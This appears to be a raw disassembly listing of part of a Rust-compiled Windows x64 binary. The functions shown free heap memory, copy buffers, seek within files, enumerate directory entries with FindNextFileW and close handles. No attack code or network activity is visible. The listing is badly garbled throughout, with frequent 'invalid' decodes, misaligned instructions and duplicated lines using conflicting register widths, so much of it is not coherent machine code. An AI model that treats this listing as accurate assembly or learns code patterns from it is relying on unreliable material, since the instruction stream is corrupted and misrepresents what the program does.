xor esi, esi
mov qword [rbp + 0x418], rcx
mov r14, r12
jmp 0x140082ecd
test byte [rax], 0
invalid
test byte [rax], 0
add byte [rax], al
add byte [rsi - 0x7d], ah
jg case.0x1400861b2.233
pop rsp
jne case.0x140074731.754
invalid
invalid
invalid
dec dword [rax - 0x77]
mov ebp, 0x408
mov qword [rbp + 0x408], rdi
xor r12d, r12d
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jae case.0x140074731.778
lea r8, [r14 + r14]
test rdi, rdi
je 0x140082e2b
lea rax, [rdi + rdi]
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], 2
test eax, esp
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
test eax, esp
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
jmp case.0x1400861b2.235
test eax, ebp
add eax, dword [rax]
add bl, ch
or ecx, dword [rax - 0x39]
test eax, esp
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
invalid
mov qword [rbp + 0x3e0], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x3a0]
lea esp, [rax + 0x4c000003]
lea ecx, [rbp + 0x3d8]
invalid
add byte [rbp + rcx*4 - 0x73], cl
fadd dword [rbx]
add byte [rax], al
invalid
lea r9, [rbp + 0x3d8]
add byte [rdx + 2], bh
mov edx, 2
add byte [rax], al
call fcn.1400a58a0
cmp qword [rbp + 0x3a0], 0
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0x3a8]
invalid
add byte [rax], al
mov rcx, qword [rbp + 0x3a8]
mov ecx, dword [rbp + 0x3a8]
add byte [rax], al
je 0x140082ea6
movabs rax, 0x8000000000000001
movabs rax, 0x8000000000000001
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
cmp rcx, rax
jne 0x140082ff7
cmp rdi, r12
or byte [rax + 0x39], 0xc1
cmp rcx, rax
jne 0x140082ff7
test dword [rcx], eax
add byte [rax], al
cmp rdi, r12
jae 0x140082e98
and dword [rcx + rcx*4 - 7], ecx
mov rcx, r15
xor edx, edx
mov r8, r12
call fcn.1400ae520
mov dh, 2
invalid
ror byte [rbp - 0x77], cl
loopne 0x140082e68
pushfq
mov dh, 2
add byte [rbx + rcx*4 - 0x43], cl
add byte [rax + rax], al
add al, 0
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
ja 0x140082e9f
add al, 0
add byte [rcx - 0x75], cl
ja 0x140082e9f
mov rcx, qword [r15]
mov r14, qword [r15 + 8]
ja 0x140082e9e
jmp case.0x140074731.779
xor esi, esi
mov r14, rdi
mov rcx, qword [rbp + 0x418]
lea ebx, [rax]
add al, 0
add bl, ch
jmp case.0x140074731.779
mov qword [r15], rcx
mov qword [r15 + 8], r14
or byte [rcx], dh
invalid
jmp case.0x140074731.779
mov qword [r15], rcx
mov qword [r15 + 8], r14
or byte [rcx], dh
invalid
or byte [rcx], dh
test byte [rdi - 0x73], 4
lea r8, [r12 + r12]
mov qword [rbp + 0x418], rcx
lea ebx, [rax]
add al, 0
invalid
lea r8, [r12 + r12]
mov qword [rbp + 0x418], rcx
lea ebx, [rax]
add al, 0
invalid
lea ebx, [rax]
add al, 0
add byte [rax - 0x73], cl
lea rcx, [rcx + rsi*2]
or al, 0x71
mov rdx, rbx
mov edx, ebx
call sub.VCRUNTIME140.dll_memcpy
add rsi, r12
mov qword [r15 + 0x10], rsi
mov dword [rdi + 0x10], esi
mov rax, r14
sub rax, rsi
cmp rax, r13
cmp eax, ebp
jae 0x140082efa
mov rcx, r15
mov rdx, rsi
mov edx, esi
mov edx, esi
mov r8, r13
mov r8, r13
call fcn.1400ae520
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
mov esi, dword [rdi + 0x10]
invalid
adc byte [rcx - 0x75], cl
invalid
mov rdi, qword [r15]
mov r14, qword [r15 + 8]
or bl, ch
invalid
or bl, ch
invalid
mov rdi, qword [rbp + 0x418]
lea r8, [r13*2]
lea eax, [rbp*2]
insd dword [rdi], dx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rcx, [rdi + rsi*2]
or al, 0x77
mov rdx, qword [rbp + 0x408]
mov edx, dword [rbp + 0x408]
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
add esi, ebp
add esi, ebp
mov qword [r15 + 0x10], rsi
ja 0x140082f30
cmp rsi, r14
jne 0x140082f3e
div byte [rbp + 0x19]
mov rcx, r15
mov ecx, edi
mov rdx, r14
call fcn.140010890
invalid
fprem
clc
invalid
invalid
mov r15, qword [rbp + 0x400]
mov rdi, qword [r15]
add byte [rcx - 0x75], cl
invalid
mov edi, dword [rdi]
mov rsi, qword [r15 + 0x10]
mov esi, dword [rdi + 0x10]
mov word [rdi + rsi*2], 0
add al, 0x77
add byte [rax], al
inc rsi
mov qword [r15 + 0x10], rsi
xor esi, esi
cmp qword [rbp + 0x3f0], 0
cmp dword [rbp + 0x3f0], 0
cmp dword [rbp + 0x3f0], 0
mov ebp, 0x3f0
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
invalid
invalid
invalid
je 0x140082f6d
mov rcx, qword [0x1400f91f8]
invalid
invalid
xor edx, edx
mov r8, qword [rbp + 0x3f8]
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x140082f9f
div byte [rbp + rbp + 0x48]
mov eax, dword [rbp + 0x3d0]
mov rax, qword [rbp + 0x3d0]
mov qword [rax + 8], rsi
mov qword [rax], 0
cmp qword [r15 + 8], 0
je 0x140082fb5
mov r8, qword [r15]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140082fb5
mov rax, qword [r15 + 0x10]
mov rcx, qword [rbp + 0x3d0]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r15]
movups xmmword [rcx], xmm0
add rsp, 0x4a8
test al, 4
add byte [rax], al
add al, 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
loope case.0x1400283bc.1548
invalid
invalid
add eax, 0x67ae1
loope case.0x1400283bc.1548
invalid
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
call fcn.1400aa0a0
jmp 0x140083029
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, r13
mov rdx, r12
mov edx, esp
mov edx, esp
call fcn.1400aa020
jmp 0x140083029
test rcx, rcx
jne 0x140083003
invalid
invalid
call fcn.1400402a0
jmp 0x140083029
mov rdx, qword [rbp + 0x3b0]
call fcn.1400a9e00
add eax, dword [rax]
add al, ch
int1
insd dword [rdi], dx
add al, byte [rax]
jmp 0x140083029
test rcx, rcx
jne case.0x1400826b1.90
call fcn.1400402a0
jmp 0x140083029
mov rdx, qword [rbp + 0x3b0]
mov edx, dword [rbp + 0x3b0]
call fcn.1400a9e00
xlatb
insd dword [rdi], dx
add al, byte [rax]
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
and al, 0x10
invalid
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3c0
rol byte [rbx], 0
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3c0
rol byte [rbx], 0
add byte [rax], al
je 0x14008306c
mov r8, qword [rbp + 0x3b8]
rol byte [rbx], 0
add byte [rax], al
je 0x14008306c
mov r8, qword [rbp + 0x3b8]
test dword [rax + 0x48000003], edi
mov ecx, dword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
test dword [rax], eax
add al, 0
mov rax, qword [rbp + 0x400]
cmp qword [rax + 8], 0
add byte [rax - 0x7d], cl
js 0x14008307f
add byte [rcx + rbx + 0x48], dh
mov eax, dword [rbp + 0x400]
invalid
je case.0x14002f576.1303
sbb dword [rax - 0x75], ecx
test dword [rax], eax
add al, 0
mov rax, qword [rbp + 0x400]
add byte [rax], al
add byte [rbx + rcx*4], cl
mov r8, qword [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x2d375
insd dword [rdi], dx
invalid
sar bh, cl
adc eax, 0x2d375
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
in al, dx
pop rax
in al, dx
pop rax
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov dword [rbp], 0xfffffffe
invalid
mov rsi, r9
mov rdi, r8
mov edi, eax
mov edi, eax
mov dword [rbp - 0x30], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
fadd st(7)
call 0x1400830ef
rol byte [r8], 1
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
fadd st(7)
call 0x1400830ef
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rbp - 0x14], 0
mov qword [rbp - 0x14], 0
mov dword [rbp - 0x14], 0
mov word [rbp - 0xc], 0
mov byte [rbp - 0xf], 1
int1
invalid
int1
add esi, eax
invalid
hlt
mov byte [rbp - 0xc], 1
mov byte [rbp - 0xd], 1
lea r8, [rbp - 0x30]
shr r8b, 1
cmc
out dx, eax
invalid
dec dword [rax - 0x7b]
invalid
add dword [rbp + rcx*4 + 0x45], ecx
shr r8b, 1
shr al, 1
cmc
out dx, eax
invalid
dec dword [rax - 0x7b]
sal byte [rax + rcx + 0x49], 0x89
xlatb
test eax, eax
je 0x140083118
mov r15, rdx
jmp 0x1400831e4
test rsi, rsi
mov qword [rbp - 8], rdx
test byte [rax - 0x77], 0x55
clc
je 0x1400831d7
mov dl, 0
add byte [rax], al
lea rbx, [rbp - 0x28]
lea ebx, [rbp - 0x28]
fmul dword [rbp + rcx*4 + 0x75]
ror byte [rbp + rcx*4 + 0x25], 1
invalid
pop rdi
invalid
lea r14, [rbp - 0x30]
lea esi, [rbp - 0x30]
lea r12, str.failed_to_write_whole_buffer
and eax, 0x65f4c
lea r13, [0x1400f09e8]
jmp 0x14008315c
invalid
mov rcx, rbx
call fcn.14007a090
test rsi, rsi
test esi, esi
mov rdx, qword [rbp - 8]
je 0x1400831d7
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.14007b660
test bh, bh
dec dword [rax - 0x7d]
jge 0x14008313e
invalid
je case.default.0x140083183
test bh, bh
dec dword [rax - 0x7d]
jge 0x14008313e
add byte [rdi + rbx + 0x4c], dh
mov edi, dword [rbp - 0x28]
mov r15, qword [rbp - 0x28]
mov eax, r15d
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
invalid
jmp rax
call 0xc04a1286
cmp byte [r15 + 0x10], 0x23
je 0x14008314b
jg 0x140083199
and esi, dword [rdi + rdi*4 - 0x15]
nop
jmp case.0x140074731.804
mov rcx, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x28]
test rcx, rcx
je 0x1400831f8
mov rax, rsi
sub rax, rcx
jb 0x1400831fd
add rdi, rcx
mov rsi, rax
mov esi, eax
mov esi, eax
test rsi, rsi
mov rdx, qword [rbp - 8]
push rbp
clc
test byte [rax - 0x75], 0x55
push rbp
clc
jne 0x14008315c
jmp 0x1400831d7
add byte [rcx + rcx*4 - 8], cl
mov rax, r15
shr rax, 0x20
cmp eax, 0x28
ja case.0x140074731.804
cmp rax, 0x23
jne case.0x140074731.804
jmp 0x14008314b
je 0x1400831d4
invalid
invalid
xor r15d, r15d
dec dword [rax - 0x75]
clc
mov rcx, qword [rbp - 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, r15
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r15, r12
jmp case.0x140074731.804
lea r8, [0x1400e9098]
add byte [rax - 0x77], cl
bnd call fcn.1400a9f20
invalid
mov rdx, rsi
call fcn.1400a9f20
invalid
add byte [rdi], cl
or esp, dword [rsi - 0x70]
nop
ud2
nop
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
push rax
push rax
mov rcx, qword [rbp - 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
invalid
rol dword [rdx], 1
add byte [rax + 0x28c48348], dl
invalid
add byte [rax + 0x28c48348], dl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
sub esp, 0x30
in al, dx
xor byte [rcx + rcx*4 - 0x38], cl
mov rax, r9
mov rsi, rcx
mov esi, ecx
lea rcx, [0x1400eaf40]
mov r9d, dword [rcx + r8*4]
invalid
add byte [rsi - 0x75], al
or al, 0x81
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x28
lea r8, [rsp + 0x28]
and al, 0x28
mov rcx, rdx
mov ecx, edx
mov rdx, rax
mov edx, eax
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
test eax, eax
je case.0x1400270ad.1431
invalid
invalid
add byte [rbp + 0x480d74c0], al
mov eax, dword [rsp + 0x28]
and al, 0x28
or eax, 0x24448b48
sub byte [rax - 0x77], cl
mov dword [rsi + 8], eax
xor eax, eax
jmp 0x1400832a8
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
xor eax, eax
jmp 0x1400832a8
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
shl eax, 0x20
rol dword [rdx], 1
add byte [rax - 0x3f], cl
shl eax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
mov qword [rsi + 8], rax
mov eax, 1
or rax, 2
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
or byte [rax + 1], bh
mov eax, 1
add byte [rax], al
mov qword [rsi], rax
mov dword [rsi], eax
add rsp, 0x30
pop rsi
invalid
ret
int3
int3
int3
int3
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x508
sub esp, 0x508
sub esp, 0x508
add eax, 0x290f0000
mov ah, 0x24
movaps xmmword [rsp + 0x4f0], xmm6
sub dword [rsp + 0x4f0], esi
invalid
mov rbx, rdx
mov rsi, rcx
mov eax, dword [rdx + 0x10]
adc bl, sil
movd dword [rdx + 0x40], mm6
adc bl, sil
movd dword [rdx + 0x40], mm6
jb case.0x14007cc61.698
movzx ebp, word [rdx + 0x44]
mov dword [rdx + 0x10], 0
mov dword [rdx + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx + 0x2d7501f8], al
cmp eax, 1
jne 0x140083322
mov r14, qword [rbx]
mov esi, dword [rbx]
movd eax, xmm6
jle case.0x1400270ad.1444
cmp ax, 0x2e
cmp eax, 0x2e
clc
jne 0x140083413
invalid
invalid
add dword [rax], eax
invalid
jne 0x140083413
test dword [0x1a6083308], ecx
pextrw eax, mm6, 1
invalid
invalid
invalid
add dword [rax], eax
add byte [rsi + 0xf], ah
add byte [rax], al
pextrw eax, xmm6, 1
invalid
test eax, eax
je 0x140083322
cmp ax, 0x2e
jne 0x140083413
add byte [rax], al
invalid
jne 0x140083413
add byte [rax], al
add byte [rsi - 0x7b], ah
test bp, bp
test bp, bp
jne 0x140083413
test ecx, esi
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
lea r14, [rsp + 0x80]
mov ah, 0x24
add byte [rax], 0
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
push rax
add al, byte [rax]
add byte [rax], al
mov rcx, r14
mov r8d, 0x250
mov eax, 0x250
add byte [rax], al
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rdi, qword [rbx + 8]
mov edi, dword [rbx + 8]
mov edi, dword [rbx + 8]
jnp 0x140083346
mov rcx, rdi
mov rdx, r14
bnd call qword [sym.imp.kernel32.dll_FindNextFileW]
bnd call qword [sym.imp.kernel32.dll_FindNextFileW]
xchg esi, eax
invalid
test eax, eax
je 0x1400833f8
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x33], cl
mov r14, qword [rbx]
lea rbx, [rsp + 0x80]
lea ebx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rbx + rcx*4 + 0x3d], cl
invalid
jl 0x140083330
mov r15, qword [sym.imp.kernel32.dll_FindNextFileW]
cmp eax, 0x2ce7c
add al, byte [rax]
jmp 0x14008337d
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
call r15
test eax, eax
je 0x1400833f8
cmp word [rsp + 0xac], 0x2e
jne 0x1400833a6
movzx eax, word [rsp + 0xae]
test ax, ax
and al, 0xae
add byte [rax], al
add byte [rsi - 0x7b], ah
sal byte [rbx + rbx*8 + 0x66], 0x83
je 0x140083370
cmp ax, 0x2e
jne 0x1400833a6
je 0x140083370
cmp ax, 0x2e
jne 0x1400833a6
cmp word [rsp + 0xb0], 0
je 0x140083370
mov al, 0
add byte [rax], al
add byte [rdx + rcx*8 - 0x10], dh
inc qword [r14]
invalid
lock inc qword [r14]
invalid
jle 0x1400834fd
mov rdi, qword [rsp + 0x80]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x20], xmm0
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x20], eax
invalid
and byte [rdi], cl
adc byte [rsp + 0x98], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x98]
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm0
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x40], eax
movd xmm6, dword [rsp + 0xac]
movzx ebp, word [rsp + 0xb0]
mov bh, 0xac
and al, 0xb0
add byte [rax], al
invalid
mov ah, 0x24
lodsb al, byte [rsi]
and al, 0xac
add byte [rax], al
add byte [rdi], cl
mov bh, 0xac
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
xchg esp, eax
and al, 0xb2
mov dl, 0
invalid
lea rdx, [rsp + 0xb2]
add bl, ch
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2cfaa
jmp 0x14008343e
call qword [sym.imp.kernel32.dll_GetLastError]
add al, byte [rax]
cmp eax, 0x12
jne 0x14008348a
add dword [rax], 0
invalid
add dword [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
jmp 0x1400834e5
add byte [rax], al
add al, dh
inc qword [r14]
inc dword [rsi]
lock inc qword [r14]
jle 0x1400834fd
mov fs, eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rbx + 0x46]
lea edx, [rbx + 0x46]
push rbx
mov rdi, qword [rbx + 0x14]
jnp 0x140083439
mov rdi, qword [rbx + 0x14]
mov eax, dword [rbx + 0x3c]
mov dword [rsp + 0x40], eax
and al, 0x40
cmp al, 0x89
and al, 0x40
and al, 0x40
movups xmm0, xmmword [rbx + 0x2c]
adc byte [rbx + 0x2c], al
movaps xmmword [rsp + 0x30], xmm0
xor byte [rdi], cl
adc byte [rbx + 0x1c], al
invalid
movups xmm0, xmmword [rbx + 0x1c]
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rcx, [rsp + 0x2d2]
rol byte [rdx], cl
add byte [rax], al
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov dh, byte [rdx]
add al, byte [rax]
invalid
add al, byte [rax]
add al, ch
mov dh, byte [rdx]
add al, byte [rax]
invalid
add byte [rbx - 0x76bfdbbc], cl
and al, 0x70
and al, 0x70
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x70], eax
and al, 0x70
and al, 0x70
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], cl
movaps xmmword [rsp + 0x60], xmm1
and al, 0x60
movaps xmmword [rsp + 0x50], xmm0
push rax
lea rcx, [rsp + 0x80]
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [rsp + 0x2d2]
mov r8d, 0x21e
mov eax, 0x21e
xchg esp, eax
and al, 0xd2
add al, byte [rax]
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
add bl, ch
adc edi, edi
adc eax, 0x2cf18
sbb bh, cl
add al, byte [rax]
invalid
jmp case.0x14002f576.1344
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rcx - 0x183eb739], cl
and byte [rax - 0x7d], cl
invalid
invalid
iretd
mov edi, eax
shl rdi, 0x20
shl edi, 0x20
out 0x20, eax
or rdi, 2
xor r14d, r14d
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
movaps xmm0, xmmword [rsp + 0x50]
and al, 0x50
adc byte [rdi], cl
sub byte [rsp + 0x50], al
and al, 0x50
push rax
movaps xmm1, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], cl
movups xmmword [rsi + 0x18], xmm0
movups xmmword [rsi + 0x28], xmm1
invalid
sbb byte [rdi], cl
adc dword [rsi + 0x28], ecx
invalid
mov eax, dword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov dword [rsi + 0x38], eax
movd dword [rsi + 0x3c], xmm6
jle 0x140083538
invalid
jle 0x140083538
jbe 0x1400834ff
cmp al, 0x66
mov word [rsi + 0x40], bp
mov dword [rsi + 0x40], ebp
lea rcx, [rsi + 0x42]
lea rdx, [rsp + 0x80]
lea rdx, [rsp + 0x80]
lea edx, [rsp + 0x80]
mov r8d, 0x21e
add al, byte [rax]
add al, ch
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
mov dword [rsi], 1
invalid
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
add esp, 0x508
invalid
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
ud2
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
mov rax, rdx
mov rsi, rcx
mov rcx, qword [rdx]
mov ecx, dword [rdx]
mov ecx, dword [rdx]
or cl, byte [rax - 0x75]
pop rcx
adc byte [rax - 0x75], cl
jns 0x14008355c
mov rbx, qword [rcx + 0x10]
mov ebx, dword [rcx + 0x10]
mov rdi, qword [rcx + 0x20]
add rdx, 0x34
lea rcx, [rax + 0x234]
lea ecx, [rax + 0x234]
xor al, 2
add byte [rax], al
invalid
add byte [rcx - 0x47], al
add al, 1
add dword [rax], eax
invalid
mov r9d, 0x104
add dword [rax], eax
add byte [rcx - 0x77], cl
mov eax, edx
cmp word [r8], 0
mov r8, rdx
mov eax, edx
cmp word [r8], 0
cmp dword [r8], 0
add byte [rdi], cl
test byte [rbx + 0x66000000], ch
stosd dword [rdi], eax
add byte [rax], al
invalid
invalid
je case.0x140080e18.180
stosd dword [rdi], eax
add byte [rax], al
add byte [rsi + 0x41], ah
cmp word [r8 + 2], 0
cmp dword [r8 + 2], 0
cmp dword [rax + 2], 0
js case.0x14007e48a.221
add al, byte [rax]
add byte [rbx + rdi*2 + 0x66], dh
je 0x1400835de
jnp 0x1400835ca
cmp word [r8 + 4], 0
cmp dword [r8 + 4], 0
js case.0x14007ecb4.197
add al, 0
add byte [rcx + rdi*2 + 0x66], dh
je case.0x140068b4c.1243
cmp word [r8 + 6], 0
cmp dword [r8 + 6], 0
cmp dword [rax + 6], 0
je case.0x14007e3f3.231
cmp word [r8 + 8], 0
cmp dword [r8 + 8], 0
je 0x1400835f0
cmp word [r8 + 0xa], 0
or al, byte [rax]
je case.0x14007daa2.248
jae case.0x14007e3f3.231
cmp word [r8 + 0xc], 0
cmp dword [r8 + 0xc], 0
je 0x1400835fc
cmp word [r8 + 0xe], 0
je 0x140083602
invalid
add byte [rdi + rbp*2 + 0x49], dh
add ecx, 0xfffffff8
clc
add r9, 0xfffffffffffffff8
clc
add r8, 0x10
cmp r9, 7
invalid
ja 0x140083550
adc byte [rcx - 0x7d], cl
stc
invalid
cmp word [rcx], 0
je 0x140083609
cmp word [rax + 0x236], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test byte [rdx + 1], dl
invalid
je 0x140083707
add dword [rax], eax
add byte [rax], al
add byte [rsi - 0x7d], ah
mov eax, 0x238
add byte [rax], al
cmp word [rax + 0x238], 0
je 0x140083715
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test byte [rdx + 1], dl
add byte [rax], al
mov r8d, 0x104
add al, 1
add byte [rax], al
add byte [rsi - 0x7d], ah
mov eax, 0x23a
add byte [rax], al
cmp word [rax + 0x23a], 0
cmp dword [rax + 0x23a], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x4c], dh
jne case.0x14007e3f3.236
add rax, 0x23a
mov rcx, rax
mov ecx, eax
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov ecx, eax
shr ebx, 0x2b
jmp 0x140083609
sub ecx, dword [rcx - 0x7d]
rol byte [rdx], 0xeb
and cl, byte [rcx - 0x7d]
invalid
invalid
add r8, 2
add eax, 2
jmp case.0x140080e18.180
add r8, 4
jmp case.0x140080e18.180
rol byte [rbx + rbp*8], 0x1c
add al, 0xeb
sbb al, 0x49
invalid
add r8, 6
add eax, 6
jmp case.0x140080e18.180
add r8, 8
ror byte [rax], 0xeb
adc byte [rcx - 0x7d], cl
add r8, 0xa
invalid
jmp case.0x140080e18.180
add r8, 0xa
add eax, 0xa
or ch, bl
jmp case.0x140080e18.180
or cl, byte [rcx - 0x7d]
add r8, 0xc
ror byte [rbx + rbp*8], 4
jmp case.0x140080e18.180
add r8, 0xe
add eax, 0xe
mov rcx, r8
mov ecx, eax
sub rcx, rdx
mov r8, rcx
invalid
ror dword [rcx - 0x77], 1
mov eax, ecx
enter 0xffffffffffffd149, 0xffffffffffffffe8
shr r8, 1
shr eax, 1
call 0x14b01b75e
add al, byte [rax]
add byte [rdi], cl
add dword [rcx + rax], 0
add dword [rax], eax
cmp rcx, 0x20a
or al, byte [rdx]
add byte [rax], al
jae case.0x14007edf4.212
add dword [rax], eax
add byte [rax - 0x73], cl
mov r8b, 0xe8
mov al, 0xe8
lea rcx, [rbp - 0x50]
mov al, 0xe8
call fcn.14007e0a0
mov r12, qword [rbp - 0x50]
mov esp, dword [rbp - 0x50]
js 0x1400835d0
invalid
dec dword [rbx + rcx*4 + 0x65]
mov al, 0x4c
invalid
mov esp, dword [rbp - 0x50]
mov al, 0x4c
mov r14, qword [rbp - 0x40]
mov esi, dword [rbp - 0x40]
jne 0x1400835f0
test rdi, rdi
test edi, edi
mov qword [rbp - 0x10], r12
mov dword [rbp - 0x10], esp
je 0x14008368c
push rbx
js 0x14008373c
mov ch, bh
std
add byte [rax], al
add byte [rdi], cl
invalid
mov dh, 5
invalid
jp 0x1400836a0
add byte [rax], al
movzx eax, byte [0x1400f92c0]
invalid
mov rcx, qword [0x1400f91f8]
or eax, 0x75bab
test rcx, rcx
jne 0x140083667
adc eax, 0xcd9815ff
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add al, byte [rax]
add byte [rax - 0x7b], cl
sal byte [rbp + rbx + 0x48], 0x89
je case.0x14007ecb4.215
mov rcx, rax
invalid
invalid
invalid
xchg ecx, eax
pop rbx
test rax, rax
je case.0x14007ecb4.215
mov rcx, rax
mov qword [0x1400f91f8], rax
add eax, 0x75b91
add eax, 0x75b91
invalid
xor edx, edx
mov r8, rdi
mov eax, edi
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapAlloc]
xchg ch, cl
add al, byte [rax]
int 2
add byte [rcx - 0x77], cl
mov r15, rax
mov edi, eax
invalid
test rax, rax
jne case.0x14007edf4.209
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov edx, edi
call fcn.1400a9e00
add cl, ch
mov ch, 0
add byte [rax], al
invalid
jmp case.0x14002739f.1446
add byte [rax], al
add byte [rcx - 0x41], al
mov r15d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rcx, r15
stc
mov rdx, rbx
mov edx, ebx
mov r8, rdi
clc
